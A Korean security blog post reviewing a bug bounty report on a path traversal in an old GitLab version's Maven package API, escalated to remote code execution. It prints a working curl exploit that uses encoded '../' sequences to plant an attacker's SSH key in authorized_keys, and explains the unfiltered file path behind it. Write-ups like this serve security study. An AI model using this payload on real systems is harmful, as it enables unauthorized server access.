버그바운티 보고서 - Path Traversal to RCE

2023. 9. 21. 15:05·보안/리뷰

보고서 링크 (HERE)

 

 

[취약점 재연 방법]

문제가 되는 소스 : maven_packages.rb

버전 : GitLab 12.5.3(grape 1.1)

* GitLab은 루비온레일즈를 통해 만들었고, 루비온레일즈는 기본적으로 RESTAPI 기능을 grape 프레임워크를 사용하여 처리함.

* 해당 버전은 기본적으로 들어온 URL에 대해서 URL decoding을 하지 않음

 

[순서]

1) GitLab 인스턴스를 빌드하기 전에 package 기능 활성화

2) Project 생성

3) API 호출을 위한 private token 생성

4) 공격 페이로드 전송

5) ssh 접속

 

 

[공격 페이로드 전송]

# 공격 페이로드
curl -H "Private-Token: $(cat token)" http://127.0.0.1/api/v4/project/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as- is --data-binary @/home/asakawa/.ssh/id_rsa.pub

# url decode
http://127.0.0.1/api/v4/project/2/packages/maven/a/b/c/d/e/f/g/h/i/1/../../../../../../../../../../.ssh/authorized_keys -XPUT--path-as-is--data-binary@/home/asakawa/.ssh/id_rsa.pub

* maven : GitLab에서 프로젝트를 관리할 수있게 해주는 package api 경로

 

취약 포인트 A.

gitlab >  ee >  lib >  api >  maven_packages.rb

취약점은 필터링 적용하지 않아 발생한다.

코드를 보면 file_name에는 정규표현식을 통해 필터링을 적용하고 있다.(maven_file_name_regex)

 

그러나 공격 페이로드에서 file_name에 해당하는 것은 'authorized_keys' 이다. '../' 문자열이 들어간 곳은 file_path이다.

file_path에는 필터링이 존재하지 않아 Path Traversal이 발생한다.

 

 

취약 포인트 B.

이곳에서도 file_name에 대해서 슬래시(/)문자 유무만 확인하고 있음. 
path에 대한 필터링이나 검증이 존재하지 않는다.

결국, path에 해당되는 내용은 루비온레일즈 프레임워크에서 url decoding되었지만, 별도 필터링이 되어있지 않아 path 경로에 파일업로드가 가능하다.

 

→ 공격자의 SSH 키를 GitLab SSH 키 스토리지에 업로드하여, 인가된 사용자로서 SSH접속을 할 수 있다.

→ 시스템 쉘 

→ RCE

저작자표시 (새창열림)

'보안 > 리뷰' 카테고리의 다른 글

버그바운티 보고서 - SSRF Dropbox  (0) 2023.09.21
버그바운티 보고서 - Time-Based SQL Injection to RCE  (0) 2023.09.21
버그헌팅 TIP  (0) 2023.09.19
'보안/리뷰' 카테고리의 다른 글
  • 버그바운티 보고서 - SSRF Dropbox
  • 버그바운티 보고서 - Time-Based SQL Injection to RCE
  • 버그헌팅 TIP
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    보안이슈
    드림핵리버싱
    혼공
    혼공단
    파이썬입문
    보안뉴스
    윈도우인터널스
    kisa
    커널디버깅
    리버싱
    혼공학습단
    정보보호
    랜섬웨어
    프로세스
    공급망공격
    리버싱초보
    악성코드
    it이슈
    정보보안교육
    자바스크립트 상속
    파이썬공부
    jwt
    IT뉴스
    뉴스요약
    파이썬
    정보보안
    혼공파
    혼자공부하는파이썬
    파이썬초보
    windows internals
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
버그바운티 보고서 - Path Traversal to RCE
상단으로

티스토리툴바